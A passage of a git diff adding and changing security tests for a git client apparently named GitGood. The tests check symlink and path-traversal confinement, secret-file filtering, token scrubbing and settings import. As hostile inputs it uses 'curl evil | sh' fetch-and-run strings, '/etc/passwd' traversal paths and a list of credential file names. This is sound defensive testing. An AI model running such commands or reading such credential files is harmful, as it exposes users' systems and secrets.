null, ai: true }); }); it('the trust gate refuses a command read from an untrusted repository, even though the file declares one', async () => { diff --git a/test/repo-file-safety.test.ts b/test/repo-file-safety.test.ts new file mode 100644 index 0000000..a7ed0d6 --- /dev/null +++ b/test/repo-file-safety.test.ts @@ -0,0 +1,97 @@ +import { mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { getPatchForFiles, readWorktree, toFsPath } from '../src/main/git/diff'; +import { ReviewService } from '../src/main/ai/review'; +import { discoverIssueTemplates } from '../src/main/gh/issue-templates'; +import { findPullRequestTemplate } from '../src/main/gh/pr-template'; +import { readRepoConfig } from '../src/main/repo/config'; +import { assertInsideRepo, readRepoFile } from '../src/main/repo/paths'; +import type { WorkingFile } from '../src/shared/types'; + +const SECRET = 'TOP-SECRET-OUTSIDE-THE-REPO'; +const dirs: string[] = []; +afterEach(() => { + for (const d of dirs.splice(0)) rmSync(d, { recursive: true, force: true }); +}); + +/** A repo directory plus a sibling file outside it holding SECRET. */ +function setup(): { repo: string; outside: string } { + const base = mkdtempSync(join(tmpdir(), 'gg-symlink-')); + dirs.push(base); + const repo = join(base, 'repo'); + mkdirSync(repo); + const outside = join(base, 'outside.txt'); + writeFileSync(outside, SECRET); + return { repo, outside }; +} + +describe.skipIf(process.platform === 'win32')('repo files never follow symlinks out of the repository', () => { + it('review guidelines ignore a CONTRIBUTING.md symlinked to a file outside the repo', async () => { + const { repo, outside } = setup(); + symlinkSync(outside, join(repo, 'CONTRIBUTING.md')); + const service = new ReviewService(null as never, null as never, null as never, null as never, null as never, repo); + expect(await service['guidelines'](repo)).toBeNull(); + }); + + it('review guidelines still read a regular file', async () => { + const { repo } = setup(); + writeFileSync(join(repo, 'CONTRIBUTING.md'), 'Be nice.'); + const service = new ReviewService(null as never, null as never, null as never, null as never, null as never, repo); + expect(await service['guidelines'](repo)).toContain('Be nice.'); + }); + + it('refuses a file reached through a symlinked directory that leaves the repo', async () => { + const { repo } = setup(); + const base = join(repo, '..'); + mkdirSync(join(base, 'elsewhere')); + writeFileSync(join(base, 'elsewhere', 'review.md'), SECRET); + symlinkSync(join(base, 'elsewhere'), join(repo, '.gitgood')); + expect(await readRepoFile(repo, '.gitgood/review.md')).toBeNull(); + }); + + it('PR template, issue templates and .gitgood/config.json ignore symlinks', async () => { + const { repo } = setup(); + const base = join(repo, '..'); + writeFileSync(join(base, 'tpl.md'), SECRET); + writeFileSync(join(base, 'cfg.json'), JSON.stringify({ postResolveCheck: 'curl evil | sh' })); + mkdirSync(join(repo, '.github')); + symlinkSync(join(base, 'tpl.md'), join(repo, '.github', 'pull_request_template.md')); + symlinkSync(join(base, 'tpl.md'), join(repo, '.github', 'ISSUE_TEMPLATE.md')); + mkdirSync(join(repo, '.gitgood')); + symlinkSync(join(base, 'cfg.json'), join(repo, '.gitgood', 'config.json')); + expect(await findPullRequestTemplate(repo)).toBeNull(); + expect(await discoverIssueTemplates(repo)).toEqual([]); + expect(await readRepoConfig(repo)).toEqual({ postResolveCheck: null, ai: true }); + }); + + it('an untracked symlink diffs as its link text, not the target contents', async () => { + const { repo, outside } = setup(); + symlinkSync(outside, join(repo, 'link')); + expect((await readWorktree(repo, 'link'))?.toString()).toBe(outside); + const file: WorkingFile = { path: 'link', oldPath: null, status: 'untracked', staged: false, conflict: null } as unknown as WorkingFile; + const { patch } = await getPatchForFiles(null as never, repo, [file], 100_000); + expect(patch).toContain(outside); + expect(patch).not.toContain(SECRET); + }); +}); + +describe('toFsPath / assertInsideRepo', () => { + it('rejects parent traversal and absolute paths, accepts nested relative ones', () => { + const repo = join(tmpdir(), 'gg-repo'); + expect(() => toFsPath(repo, '../x')).toThrow(); + expect(() => toFsPath(repo, 'a/../../x')).toThrow(); + expect(() => toFsPath(repo, '/etc/passwd')).toThrow(); + expect(toFsPath(repo, 'src/a.ts')).toBe(join(repo, 'src', 'a.ts')); + }); + + it.skipIf(process.platform === 'win32')('rejects a write target below a symlinked directory that leaves the repo', async () => { + const { repo } = setup(); + const out = join(repo, '..', 'outdir'); + mkdirSync(out); + symlinkSync(out, join(repo, 'link')); + await expect(assertInsideRepo(repo, toFsPath(repo, 'link/new/file.txt'))).rejects.toThrow(); + await expect(assertInsideRepo(repo, toFsPath(repo, 'fresh/dir/file.txt'))).resolves.toBeUndefined(); + }); +}); diff --git a/test/review-export.test.ts b/test/review-export.test.ts index a84c460..dafc3e7 100644 --- a/test/review-export.test.ts +++ b/test/review-export.test.ts @@ -2,6 +2,7 @@ import { describe, expect, it } from 'vitest'; import type { ReviewFinding, ReviewRun } from '../src/shared/types'; import { buildExportJson, exportFileNames, renderExportMarkdown, rerunCommand, rerunUrl, rerunUseful, serializeExport, sortFindings } from '../src/main/ai/review-export'; +const TOKEN = 'tok123'; const finding = (over: Partial = {}): ReviewFinding => ({ id: 'f1', path: 'src/app.ts', @@ -59,7 +60,7 @@ describe('sortFindings', () => { describe('buildExportJson', () => { it('carries every finding including dismissed ones, with forward-slash paths and a previous run id', () => { - const doc = buildExportJson(run(), 'run-1', 'linux'); + const doc = buildExportJson(run(), 'run-1', 'linux', TOKEN); expect(doc.version).toBe(1); expect(doc.runId).toBe('run-2'); expect(doc.previousRunId).toBe('run-1'); @@ -73,20 +74,20 @@ describe('buildExportJson', () => { { path: 'package-lock.json', status: 'skipped', reason: 'lockfile' }, ]); expect(doc.droppedInvalid).toBe(1); - expect(doc.rerun?.url).toBe('gitgood://review/rerun?repo=%2Fhome%2Fdev%2Fmy%20app'); - expect(doc.rerun?.command).toBe("xdg-open 'gitgood://review/rerun?repo=%2Fhome%2Fdev%2Fmy%20app'"); + expect(doc.rerun?.url).toBe('gitgood://review/rerun?repo=%2Fhome%2Fdev%2Fmy%20app&token=tok123'); + expect(doc.rerun?.command).toBe("xdg-open 'gitgood://review/rerun?repo=%2Fhome%2Fdev%2Fmy%20app&token=tok123'"); }); it('keeps a Windows repository path native while finding paths use forward slashes', () => { - const doc = buildExportJson(run({ repoPath: 'C:\\work\\app' }), null, 'win32'); + const doc = buildExportJson(run({ repoPath: 'C:\\work\\app' }), null, 'win32', TOKEN); expect(doc.repoPath).toBe('C:\\work\\app'); expect(doc.findings.every((f) => !f.path.includes('\\'))).toBe(true); - expect(doc.rerun?.url).toBe('gitgood://review/rerun?repo=C%3A%5Cwork%5Capp'); - expect(doc.rerun?.command).toBe('Start-Process "gitgood://review/rerun?repo=C%3A%5Cwork%5Capp"'); + expect(doc.rerun?.url).toBe('gitgood://review/rerun?repo=C%3A%5Cwork%5Capp&token=tok123'); + expect(doc.rerun?.command).toBe('Start-Process "gitgood://review/rerun?repo=C%3A%5Cwork%5Capp&token=tok123"'); }); it('never contains fields that were not on the persisted run', () => { - const doc = buildExportJson(run(), null, 'linux'); + const doc = buildExportJson(run(), null, 'linux', TOKEN); const text = serializeExport(doc); expect(text).not.toMatch(/apiKey|ANTHROPIC_API_KEY|hasApiKey|claudeCliPath/); expect(Object.keys(doc).sort()).toEqual(['cancelled', 'droppedInvalid', 'effort', 'error', 'files', 'findings', 'finishedAt', 'model', 'previousRunId', 'provider', 'repoPath', 'rerun', 'runId', 'startedAt', 'strictness', 'summary', 'target', 'verdict', 'version']); @@ -95,7 +96,7 @@ describe('buildExportJson', () => { describe('serializeExport', () => { it('pretty prints with two spaces so a grep for "dismissed": false counts live findings', () => { - const text = serializeExport(buildExportJson(run(), null, 'linux')); + const text = serializeExport(buildExportJson(run(), null, 'linux', TOKEN)); expect(text.match(/^\s*"dismissed": false,?$/gm)).toHaveLength(3); expect(text.match(/^\s*"dismissed": true,?$/gm)).toHaveLength(1); expect(text.endsWith('}\n')).toBe(true); @@ -112,8 +113,8 @@ describe('rerun availability', () => { it('sets rerun to null and tells the agent to stop for a pull request run', () => { const pr = run({ target: { kind: 'pr', number: 7, headSha: 'aaaaaaaaaaaa', baseSha: 'bbbbbbbbbbbb', title: 'Add thing', url: 'https://x/7' } }); - expect(buildExportJson(pr, null, 'linux').rerun).toBeNull(); - const md = renderExportMarkdown(pr, null, 'linux'); + expect(buildExportJson(pr, null, 'linux', TOKEN).rerun).toBeNull(); + const md = renderExportMarkdown(pr, null, 'linux', TOKEN); expect(md).toContain('Do not ask GitGood to re-review'); expect(md).toContain('report the same findings'); expect(md).toContain('telling the user to commit those changes in GitGood and press Re-review'); @@ -123,7 +124,7 @@ describe('rerun availability', () => { }); describe('renderExportMarkdown', () => { - const md = renderExportMarkdown(run(), 'run-1', 'linux'); + const md = renderExportMarkdown(run(), 'run-1', 'linux', TOKEN); it('opens with the agent instruction block', () => { const instructions = md.slice(md.indexOf('## Instructions'), md.indexOf('## Findings')); @@ -131,7 +132,7 @@ describe('renderExportMarkdown', () => { expect(instructions).toContain('one file at a time'); expect(instructions).toContain('trust each finding\'s title and detail over its line number'); expect(instructions).toContain('Do not commit'); - expect(instructions).toContain("xdg-open 'gitgood://review/rerun?repo=%2Fhome%2Fdev%2Fmy%20app'"); + expect(instructions).toContain("xdg-open 'gitgood://review/rerun?repo=%2Fhome%2Fdev%2Fmy%20app&token=tok123'"); expect(instructions).toContain('re-read `latest.json`'); expect(md).toContain('supersedes `run-1`'); }); @@ -158,12 +159,12 @@ describe('renderExportMarkdown', () => { }); it('shows both Windows commands and says when there is nothing to fix', () => { - const win = renderExportMarkdown(run({ repoPath: 'C:\\work\\app', findings: [] }), null, 'win32'); - expect(win).toContain('Start-Process "gitgood://review/rerun?repo=C%3A%5Cwork%5Capp"'); - expect(win).toContain('start "" "gitgood://review/rerun?repo=C%3A%5Cwork%5Capp"'); + const win = renderExportMarkdown(run({ repoPath: 'C:\\work\\app', findings: [] }), null, 'win32', TOKEN); + expect(win).toContain('Start-Process "gitgood://review/rerun?repo=C%3A%5Cwork%5Capp&token=tok123"'); + expect(win).toContain('start "" "gitgood://review/rerun?repo=C%3A%5Cwork%5Capp&token=tok123"'); expect(win).toContain('No open findings. Nothing to fix.'); - expect(renderExportMarkdown(run({ findings: [], error: 'boom' }), null, 'darwin')).toContain('The review failed: boom'); - expect(rerunCommand('/r', 'darwin')).toBe(`open '${rerunUrl('/r')}'`); + expect(renderExportMarkdown(run({ findings: [], error: 'boom' }), null, 'darwin', TOKEN)).toContain('The review failed: boom'); + expect(rerunCommand('/r', 'darwin', TOKEN)).toBe(`open '${rerunUrl('/r', TOKEN)}'`); }); }); diff --git a/test/secret-files.test.ts b/test/secret-files.test.ts new file mode 100644 index 0000000..acf9104 --- /dev/null +++ b/test/secret-files.test.ts @@ -0,0 +1,80 @@ +import { describe, expect, it } from 'vitest'; +import { withScrubbing, type AiBackend, type AiRequest } from '../src/main/ai/backends'; +import { skipReason } from '../src/main/ai/review-core'; +import { dropSecretFilePatches, scrubSecrets, secretFileReason } from '../src/shared/secrets'; +import type { CommitFile, DiffHunk } from '../src/shared/types'; + +const file = (path: string, over: Partial = {}): CommitFile => ({ path, oldPath: null, status: 'modified', additions: 1, deletions: 0, binary: false, lfs: false, ...over }); +const hunk = (...lines: string[]): DiffHunk => ({ header: '@@ -1 +1 @@', oldStart: 1, oldLines: 1, newStart: 1, newLines: 1, lines: lines.map((text) => ({ type: 'add' as const, text, oldNumber: null, newNumber: 1 })) }) as DiffHunk; + +describe('secretFileReason', () => { + it.each(['.env', 'apps/web/.env.local', 'config/.ENV.production', 'server.pem', 'keys/tls.key', 'cert.p12', 'cert.pfx', 'home/id_rsa', 'id_ed25519', '.netrc', 'credentials.json', 'gcp/credentials-prod.json'])('flags %s', (p) => { + expect(secretFileReason(p)).not.toBeNull(); + }); + + it.each(['.env.example', '.env.sample', 'src/environment.ts', 'id_rsa.pub', 'README.md', 'src/keyboard.ts', 'credentials.ts', 'package.json'])('lets %s through', (p) => { + expect(secretFileReason(p)).toBeNull(); + }); + + it('flags .npmrc / .pypirc only when they carry credentials (and when that is unknown)', () => { + expect(secretFileReason('.npmrc')).not.toBeNull(); + expect(secretFileReason('.npmrc', 'registry=https://registry.npmjs.org/\n')).toBeNull(); + expect(secretFileReason('web/.npmrc', '//registry.npmjs.org/:_authToken=abc123')).not.toBeNull(); + expect(secretFileReason('.pypirc', '[pypi]\npassword = hunter2')).not.toBeNull(); + }); +}); + +describe('review skip rules', () => { + it('skips secret-shaped files with a visible reason, even deleted ones', () => { + expect(skipReason(file('.env'), 3)).toMatch(/never sent to AI/); + expect(skipReason(file('deploy/key.pem', { status: 'deleted' }), 3)).toMatch(/private key/); + expect(skipReason(file('src/app.ts'), 3)).toBeNull(); + }); + + it('uses the diff text to decide on .npmrc', () => { + expect(skipReason(file('.npmrc'), 1, new Set(), [hunk('registry=https://registry.npmjs.org/')])).toBeNull(); + expect(skipReason(file('.npmrc'), 1, new Set(), [hunk('//registry.npmjs.org/:_authToken=abc')])).toMatch(/credentials/); + }); +}); + +describe('dropSecretFilePatches', () => { + it('removes secret files from a patch and says what it removed', () => { + const patch = ['diff --git a/src/a.ts b/src/a.ts\n+ok\n', 'diff --git a/.env b/.env\n+TOKEN=abc\n', 'diff --git a/b.pem b/b.pem\n+-----BEGIN\n', 'diff --git a/src/c.ts b/src/c.ts\n+fine\n'].join(''); + const out = dropSecretFilePatches(patch); + expect(out.patch).toContain('src/a.ts'); + expect(out.patch).toContain('src/c.ts'); + expect(out.patch).not.toContain('TOKEN=abc'); + expect(out.patch).not.toContain('BEGIN'); + expect(out.skipped.map((s) => s.split(':')[0])).toEqual(['.env', 'b.pem']); + }); +}); + +describe('scrubbing before upload', () => { + const echo = (): { backend: AiBackend; last: () => AiRequest } => { + let last: AiRequest | undefined; + return { backend: { name: 'anthropic', complete: async (r) => ((last = r), { json: {}, model: 'm' }) }, last: () => last! }; + }; + const base = { system: 'SYS', schema: {}, model: 'm', effort: 'low' as const }; + + it('masks token shapes in prompt and sharedPrompt but keeps line structure', async () => { + const { backend, last } = echo(); + const key = 'sk-' + 'a'.repeat(30); + await withScrubbing(backend).complete({ ...base, prompt: `+const k = "${key}";\n+// ghp_${'b'.repeat(25)}\n+AKIA${'C'.repeat(16)}`, sharedPrompt: 'Authorization: Bearer abc.def.ghi' }); + expect(last().prompt).not.toContain(key); + expect(last().prompt).not.toContain('ghp_bbbb'); + expect(last().prompt).not.toContain('AKIACCCC'); + expect(last().prompt.split('\n')).toHaveLength(3); + expect(last().sharedPrompt).toBe('Authorization: Bearer ***'); + expect(last().system).toBe('SYS'); + }); + + it('does not invent a sharedPrompt', async () => { + const { backend, last } = echo(); + await withScrubbing(backend).complete({ ...base, prompt: 'plain' }); + expect(last().sharedPrompt).toBeUndefined(); + }); + + it('scrubSecrets still masks Anthropic keys as before', () => { + expect(scrubSecrets('sk-ant-api03-abcdefghijkl')).toBe('sk-ant-***'); + }); +}); diff --git a/test/server-security.test.ts b/test/server-security.test.ts index b7bba5a..d348a8e 100644 --- a/test/server-security.test.ts +++ b/test/server-security.test.ts @@ -1,8 +1,9 @@ -import { existsSync, mkdtempSync, readFileSync } from 'node:fs'; +import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'; import { tmpdir } from 'node:os'; import { join, sep } from 'node:path'; import type { IncomingMessage } from 'node:http'; import { describe, expect, it } from 'vitest'; +import { createHandlers, type HandlerDeps } from '../src/main/core/handlers'; import { hostOk, identityOk, loadOrCreateToken, offendingPath, originOk, pathArgs, safeEqual, tokenOk } from '../src/server/security'; function req(headers: Record, url = '/invoke'): IncomingMessage { @@ -111,3 +112,20 @@ describe('token persistence', () => { expect(loadOrCreateToken(file, dir)).toBe(first); }); }); + +describe('repo.readFile / repo.writeFile path confinement', () => { + it('refuse a "../" or absolute file path even when the repository path is allowed', async () => { + const base = mkdtempSync(join(tmpdir(), 'gg-readfile-')); + const repo = join(base, 'repo'); + mkdirSync(repo); + writeFileSync(join(base, 'secret.txt'), 'outside'); + writeFileSync(join(repo, 'ok.txt'), 'inside'); + const { dispatch } = createHandlers({ emit: () => {}, nlPalette: { setDispatcher: () => {} } } as unknown as HandlerDeps); + expect(await dispatch('repo.readFile', [repo, 'ok.txt'])).toMatchObject({ ok: true, value: 'inside' }); + expect(await dispatch('repo.readFile', [repo, '../secret.txt'])).toMatchObject({ ok: false }); + expect(await dispatch('repo.readFile', [repo, join(base, 'secret.txt')])).toMatchObject({ ok: false }); + expect(await dispatch('repo.writeFile', [repo, '../pwned.txt', 'x'])).toMatchObject({ ok: false }); + expect(existsSync(join(base, 'pwned.txt'))).toBe(false); + rmSync(base, { recursive: true, force: true }); + }); +}); diff --git a/test/server-web-bridge.test.ts b/test/server-web-bridge.test.ts index e1767d2..43588b8 100644 --- a/test/server-web-bridge.test.ts +++ b/test/server-web-bridge.test.ts @@ -1,5 +1,5 @@ -import { describe, expect, it } from 'vitest'; -import { BRIDGE_TAG, bridgeScript, WEB_BRIDGE_JS } from '../src/server/web-bridge'; +import { describe, expect, it, vi } from 'vitest'; +import { BRIDGE_TAG, bridgeFetchAllowed, bridgeScript, WEB_BRIDGE_JS } from '../src/server/web-bridge'; describe('web bridge', () => { it('is syntactically valid JavaScript', () => { @@ -21,7 +21,88 @@ describe('web bridge', () => { it('served script sets config before the bridge reads it', () => { const win: Record = {}; - new Function('window', bridgeScript('abc"123', 'linux').replace(WEB_BRIDGE_JS, ''))(win); - expect(win.__GITGOOD__).toEqual({ token: 'abc"123', platform: 'linux' }); + new Function('window', bridgeScript('abc"123', 'linux', '1.2.3').replace(WEB_BRIDGE_JS, ''))(win); + expect(win.__GITGOOD__).toEqual({ token: 'abc"123', platform: 'linux', version: '1.2.3' }); + }); +}); + +describe('bridgeFetchAllowed (the script embeds the token)', () => { + it('refuses requests the browser marks cross-site or same-site', () => { + expect(bridgeFetchAllowed('cross-site')).toBe(false); + expect(bridgeFetchAllowed('same-site')).toBe(false); + expect(bridgeFetchAllowed(['cross-site'])).toBe(false); + }); + + it('allows same-origin loads, address-bar navigation and clients that send no fetch metadata', () => { + expect(bridgeFetchAllowed('same-origin')).toBe(true); + expect(bridgeFetchAllowed('none')).toBe(true); + expect(bridgeFetchAllowed(undefined)).toBe(true); + }); +}); + +describe('bridge reconnect', () => { + class FakeSocket { + static all: FakeSocket[] = []; + onopen: (() => void) | null = null; + onclose: (() => void) | null = null; + onmessage: ((ev: { data: string }) => void) | null = null; + onerror: (() => void) | null = null; + constructor(public url: string) { + FakeSocket.all.push(this); + } + close(): void {} + } + + function boot(serverVersion: string) { + FakeSocket.all = []; + const events: [string, unknown][] = []; + const win: Record = { addEventListener() {}, crypto: { randomUUID: () => 'client-1' }, __GITGOOD__: { token: 't', platform: 'linux', version: '1.0.0' } }; + const doc = { addEventListener() {}, visibilityState: 'visible', hasFocus: () => true }; + const store = { getItem: () => 'client-1', setItem() {} }; + const fetchStub = async (url: string) => ({ ok: true, json: async () => (url === '/version' ? { version: serverVersion } : { ok: true, value: undefined }) }); + new Function('window', 'document', 'sessionStorage', 'location', 'WebSocket', 'fetch', WEB_BRIDGE_JS)(win, doc, store, { protocol: 'http:', host: 'h' }, FakeSocket, fetchStub); + const bridge = win.gitgoodBridge as { on(event: string, listener: (payload: unknown) => void): void }; // the script under test installs it + bridge.on('server.connection', (p) => events.push(['server.connection', p])); + bridge.on('server.updated', (p) => events.push(['server.updated', p])); + return events; + } + + it('backs off exponentially up to 30s, resets once connected, and reports connection state', async () => { + vi.useFakeTimers(); + try { + const events = boot('1.0.0'); + const drop = async (expectedDelay: number) => { + const before = FakeSocket.all.length; + FakeSocket.all.at(-1)!.onclose!(); + await vi.advanceTimersByTimeAsync(expectedDelay - 1); + expect(FakeSocket.all.length).toBe(before); + await vi.advanceTimersByTimeAsync(1); + expect(FakeSocket.all.length).toBe(before + 1); + }; + for (const delay of [1000, 2000, 4000, 8000, 16000, 30000, 30000]) await drop(delay); + FakeSocket.all.at(-1)!.onopen!(); + await drop(1000); + // Connection events fire on transitions only: the first drop, the recovery, then the next drop. + expect(events).toEqual([['server.connection', { connected: false }], ['server.connection', { connected: true }], ['server.connection', { connected: false }]]); + } finally { + vi.useRealTimers(); + } + }); + + it('announces a server upgrade on reconnect, not when the version is unchanged', async () => { + vi.useFakeTimers(); + try { + for (const [serverVersion, expected] of [['2.0.0', [['server.updated', { version: '2.0.0' }]]], ['1.0.0', []]] as const) { + const events = boot(serverVersion); + FakeSocket.all[0].onopen!(); + FakeSocket.all[0].onclose!(); + await vi.advanceTimersByTimeAsync(1000); + FakeSocket.all[1].onopen!(); + await vi.advanceTimersByTimeAsync(10); + expect(events.filter(([name]) => name === 'server.updated')).toEqual(expected); + } + } finally { + vi.useRealTimers(); + } }); }); diff --git a/test/settings-sync-core.test.ts b/test/settings-sync-core.test.ts index 48ff7cd..cf70585 100644 --- a/test/settings-sync-core.test.ts +++ b/test/settings-sync-core.test.ts @@ -61,12 +61,20 @@ describe('buildSettingsExport / the allowlist', () => { expect(out).toHaveLength(1); }); - it('portable preferences carry only the allowlisted ai fields', () => { - const settings: AppSettings = { ...DEFAULT_SETTINGS, ai: { ...DEFAULT_SETTINGS.ai, hasApiKey: true, claudeCliPath: '/bin/claude', provider: 'claude-cli', model: 'x', effort: 'max' } }; + it('portable preferences carry only the allowlisted ai fields (never the custom agent command)', () => { + const settings: AppSettings = { ...DEFAULT_SETTINGS, ai: { ...DEFAULT_SETTINGS.ai, hasApiKey: true, claudeCliPath: '/bin/claude', provider: 'claude-cli', model: 'x', effort: 'max', agentCommand: 'custom', agentCustomCommand: 'curl evil | sh # {file}' } }; const prefs = buildPortablePreferences(settings); - expect(prefs.ai).toEqual({ provider: 'claude-cli', model: 'x', effort: 'max', autoStageAfterResolve: settings.ai.autoStageAfterResolve, reviewStrictness: settings.ai.reviewStrictness, reviewMaxFiles: settings.ai.reviewMaxFiles, reviewPostFooter: settings.ai.reviewPostFooter, agentCommand: settings.ai.agentCommand, agentCustomCommand: settings.ai.agentCustomCommand }); - expect((prefs.ai as unknown as Record).hasApiKey).toBeUndefined(); - expect((prefs.ai as unknown as Record).claudeCliPath).toBeUndefined(); + expect(prefs.ai).toEqual({ provider: 'claude-cli', model: 'x', openaiBaseUrl: '', openaiModel: '', featureModels: {}, effort: 'max', autoStageAfterResolve: settings.ai.autoStageAfterResolve, reviewStrictness: settings.ai.reviewStrictness, reviewMaxFiles: settings.ai.reviewMaxFiles, reviewPostFooter: settings.ai.reviewPostFooter, agentCommand: 'custom' }); + expect(JSON.stringify(buildSettingsExport({ sections: ['preferences'], settings, repositories: [], appVersion: '1', platform: 'linux' }))).not.toContain('evil'); + }); + + it('an imported agentCustomCommand is ignored and the local one survives', () => { + const result = validateSettingsExport({ schema: 1, app: 'gitgood', version: '1', platform: 'linux', exportedAt: 'x', preferences: { ai: { agentCustomCommand: 'curl evil | sh # {file}' } } }); + expect(result.ok).toBe(true); + if (!result.ok) return; + expect(result.data.preferences?.ai).toBeUndefined(); + const current: AppSettings = { ...DEFAULT_SETTINGS, ai: { ...DEFAULT_SETTINGS.ai, agentCustomCommand: 'mine {file}' } }; + expect(buildPreferencesPatch(current, result.data.preferences ?? {}, 'replace').ai?.agentCustomCommand).toBe('mine {file}'); }); it('portable integrations carry only editor/shell fields', () => { @@ -296,3 +304,35 @@ describe('stableHash', () => { expect(stableHash('a')).not.toBe(stableHash('b')); }); }); + +describe('OpenAI-compatible and per-feature model settings', () => { + const file = (ai: unknown) => validateSettingsExport({ schema: 1, app: 'gitgood', version: '1', exportedAt: 'x', platform: 'linux', preferences: { ai } }); + + it('exports the base URL, model and feature overrides but never an API key', () => { + const settings: AppSettings = { ...DEFAULT_SETTINGS, ai: { ...DEFAULT_SETTINGS.ai, provider: 'openai-compatible', openaiBaseUrl: 'http://localhost:11434/v1', openaiModel: 'llama3.1', hasOpenaiApiKey: true, featureModels: { review: 'big', commitMessage: 'small' } } }; + const ai = buildPortablePreferences(settings).ai; + expect(ai).toMatchObject({ provider: 'openai-compatible', openaiBaseUrl: 'http://localhost:11434/v1', openaiModel: 'llama3.1', featureModels: { review: 'big', commitMessage: 'small' } }); + expect(JSON.stringify(ai)).not.toMatch(/apikey/i); + }); + + it('keeps only known features with non-empty string models on import', () => { + const result = file({ featureModels: { review: ' m1 ', bogus: 'x', explain: '', split: 7, constructor: 'y' } }); + expect(result.ok).toBe(true); + if (result.ok) expect(result.data.preferences?.ai?.featureModels).toEqual({ review: 'm1' }); + }); + + it('rejects a non-object featureModels and an unknown provider', () => { + const result = file({ featureModels: ['a'], provider: 'evil' }); + expect(result.ok).toBe(true); + if (result.ok) { + expect(result.data.preferences?.ai).toBeUndefined(); + expect(result.warnings.length).toBeGreaterThanOrEqual(2); + } + }); + + it('replace-import resets feature overrides absent from the file', () => { + const current: AppSettings = { ...DEFAULT_SETTINGS, ai: { ...DEFAULT_SETTINGS.ai, featureModels: { review: 'mine' } } }; + const patch = buildPreferencesPatch(current, { ai: { provider: 'anthropic' } } as never, 'replace'); + expect(patch.ai?.featureModels).toEqual({}); + }); +}); diff --git a/test/shell-command.test.ts b/test/shell-command.test.ts index faadfd9..c9d6773 100644 --- a/test/shell-command.test.ts +++ b/test/shell-command.test.ts @@ -1,5 +1,6 @@ import { describe, expect, it } from 'vitest'; -import { buildCommandScript, canRunCommandIn, keepOpenPosix, quotingFor, shellCommandInvocation } from '../src/main/integrations/shell-command'; +import { buildCommandScript, canRunCommandIn, keepOpenPosix, shellCommandInvocation } from '../src/main/integrations/shell-command'; +import { quotingFor } from '../src/shared/agent-presets'; const CMD = 'claude "Read the file /home/dev/my app/.git/gitgood/review/latest.md and fix every finding it lists. Do not commit."'; const CWD = '/home/dev/my app'; diff --git a/test/shortcuts.test.ts b/test/shortcuts.test.ts new file mode 100644 index 0000000..32459cb --- /dev/null +++ b/test/shortcuts.test.ts @@ -0,0 +1,146 @@ +import { describe, expect, it } from 'vitest'; +import { DEFAULT_SETTINGS } from '../src/shared/types'; +import { buildPortablePreferences, buildPreferencesPatch, validateSettingsExport } from '../src/main/settings/sync-core'; +import { + acceleratorFromEvent, + canonicalAccelerator, + findConflict, + formatAccelerator, + isValidAccelerator, + matchesAccelerator, + mergeShortcuts, + sanitizeShortcutOverrides, + setShortcut, + SHORTCUTS, + type KeyLike, +} from '../src/shared/shortcuts'; + +const key = (code: string, mods: Partial> = {}): KeyLike => ({ code, ctrlKey: false, metaKey: false, altKey: false, shiftKey: false, ...mods }); + +describe('defaults and overrides', () => { + it('ships valid, conflict-free defaults on every platform', () => { + const defaults = mergeShortcuts(); + for (const isMac of [false, true]) { + for (const def of SHORTCUTS) { + expect(isValidAccelerator(def.accelerator), def.id).toBe(true); + expect(findConflict(defaults, def.id, def.accelerator, isMac), `${def.id} (mac=${isMac})`).toBeNull(); + } + } + }); + + it('applies overrides, unbinds on null and ignores unknown ids or invalid accelerators', () => { + const merged = mergeShortcuts({ push: 'CmdOrCtrl+Alt+P', pull: null, nope: 'CmdOrCtrl+Q', fetch: 'banana', constructor: 'CmdOrCtrl+Q' }); + expect(merged.push).toBe('CmdOrCtrl+Alt+P'); + expect(merged.pull).toBeNull(); + expect(merged.fetch).toBe('CmdOrCtrl+Shift+T'); + expect(merged.nope).toBeUndefined(); + expect(merged['show-history']).toBe('CmdOrCtrl+2'); + }); + + it('drops the override when an action is bound back to its default', () => { + const changed = setShortcut({}, 'push', 'CmdOrCtrl+Alt+P'); + expect(changed).toEqual({ push: 'CmdOrCtrl+Alt+P' }); + expect(setShortcut(changed, 'push', 'CmdOrCtrl+P')).toEqual({}); + expect(setShortcut({}, 'push', null)).toEqual({ push: null }); + }); + + it('sanitizes a hand-edited overrides object', () => { + expect(sanitizeShortcutOverrides({ push: 'CmdOrCtrl+Alt+P', pull: 3, fetch: 'Shift+T', bogus: null })).toEqual({ push: 'CmdOrCtrl+Alt+P' }); + expect(sanitizeShortcutOverrides(['push'])).toEqual({}); + expect(sanitizeShortcutOverrides(null)).toEqual({}); + }); +}); + +describe('conflict detection', () => { + const defaults = mergeShortcuts(); + + it('finds the action already holding an accelerator, however it is spelled', () => { + expect(findConflict(defaults, 'fetch', 'CommandOrControl+P', false)).toEqual({ id: 'push', label: 'Push' }); + expect(findConflict(defaults, 'fetch', 'ctrl+p', false)?.id).toBe('push'); + }); + + it('compares CmdOrCtrl with the literal platform modifier', () => { + // Ctrl+` (open in terminal) is the same key as CmdOrCtrl+` on Linux/Windows, but not on macOS. + expect(findConflict(defaults, 'push', 'CmdOrCtrl+`', false)?.id).toBe('open-in-shell'); + expect(findConflict(defaults, 'push', 'CmdOrCtrl+`', true)).toBeNull(); + }); + + it('ignores the action itself and unbound actions', () => { + expect(findConflict(defaults, 'push', 'CmdOrCtrl+P', false)).toBeNull(); + expect(findConflict({ ...defaults, push: null }, 'fetch', 'CmdOrCtrl+P', false)).toBeNull(); + }); + + it('reports fixed menu items as non-rebindable', () => { + expect(findConflict(defaults, 'push', 'CmdOrCtrl+C', false)).toEqual({ id: null, label: 'Copy' }); + expect(findConflict(defaults, 'push', 'CmdOrCtrl+Alt+N', true)?.id).toBeNull(); + }); +}); + +describe('accelerators and key events', () => { + it('records a key press as a portable accelerator', () => { + expect(acceleratorFromEvent(key('KeyK', { ctrlKey: true }), false)).toBe('CmdOrCtrl+K'); + expect(acceleratorFromEvent(key('KeyK', { metaKey: true }), true)).toBe('CmdOrCtrl+K'); + expect(acceleratorFromEvent(key('KeyK', { ctrlKey: true, shiftKey: true, altKey: true }), false)).toBe('CmdOrCtrl+Alt+Shift+K'); + expect(acceleratorFromEvent(key('Backquote', { ctrlKey: true }), true)).toBe('Ctrl+`'); + expect(acceleratorFromEvent(key('F5'), false)).toBe('F5'); + }); + + it('uses the physical key, so Shift or Option do not change which key was pressed', () => { + 